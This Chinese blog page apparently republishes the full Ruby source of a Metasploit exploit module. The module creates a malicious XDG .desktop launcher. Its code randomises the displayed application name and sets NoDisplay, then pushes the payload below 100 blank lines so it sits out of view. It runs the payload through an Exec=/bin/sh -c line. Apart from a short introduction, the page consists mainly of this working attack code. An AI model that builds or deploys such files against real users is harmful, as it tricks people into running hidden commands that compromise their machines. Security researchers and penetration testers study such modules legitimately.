恶意XDG桌面文件漏洞利用分析

本文详细解析了一个通过创建恶意XDG桌面文件(.desktop)进行攻击的Metasploit模块。文章涉及了该漏洞利用的原理、现代系统的安全警告机制、模块的代码结构、可配置选项以及攻击载荷的生成方式。

恶意 XDG 桌面文件

发布日期: 2025.08.05 提交者: Brendan coles 风险等级: 中等 攻击位置: 本地:否, 远程:是 CVE:CWE:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
##
# 此模块需要 Metasploit: https://metasploit.com/download
# 当前源码: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => '恶意 XDG 桌面文件',
        'Description' => %q{
          此模块创建一个恶意的 XDG 桌面文件(.desktop)。

          在大多数现代系统上,桌面文件默认不被信任。
          当运行该文件时,用户将收到一个警告提示,表明该文件不受信任,但用户仍可能选择运行该文件。

          某些桌面环境中的默认文件管理器应用程序可能会强制执行更严格的执行要求,例如提示用户将文件设置为可执行文件和/或在文件可以执行之前将文件标记为受信任。
        },
        'Author' => [
          'bcoles'
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['ATT&CK', Mitre::Attack::Technique::T1204_002_MALICIOUS_FILE],
          ['URL', 'https://specifications.freedesktop.org/desktop-entry-spec/latest/'],
          ['URL', 'https://specifications.freedesktop.org/desktop-entry-spec/latest/exec-variables.html'],
          ['URL', 'https://wiki.archlinux.org/title/Desktop_entries']
        ],
        'Platform' => %w[linux unix solaris freebsd],
        'Arch' => [ARCH_CMD],
        'Targets' => [
          [ '自动', {} ]
        ],
        'DefaultTarget' => 0,
        'Privileged' => false,
        'DisclosureDate' => '2007-02-06',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [SCREEN_EFFECTS]
        }
      )
    )

    register_options([
      OptString.new('FILENAME', [true, '桌面文件名称。', 'msf.desktop']),
      OptString.new('APPLICATION_NAME', [false, '应用程序名称。一些文件管理器会显示此名称而非文件名。(默认为随机值)', '']),
    ])

    register_advanced_options([
      OptInt.new('PrependNewLines', [false, '在有效载荷前添加新行。', 100]),
    ])
  end

  def application_name
    datastore['APPLICATION_NAME'].blank? ? rand_text_alpha(6..12) : datastore['APPLICATION_NAME']
  end

  def exploit
    values = [
      'Type=Application',
      "Name=#{application_name}",
      # 'Hidden=true', # 此属性旧系统不支持,这会阻止执行
      'NoDisplay=true',
      'Terminal=false'
    ]
    desktop = "[Desktop Entry]\n"
    desktop << values.shuffle.join("\n")
    desktop << "\n"
    desktop << "\n" * datastore['PrependNewLines']

    escaped_payload = payload.encoded.gsub('\\', '\\\\\\').gsub('"', '\\"')
    desktop << "Exec=/bin/sh -c \"#{escaped_payload}\""

    file_create(desktop)
  end
end
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计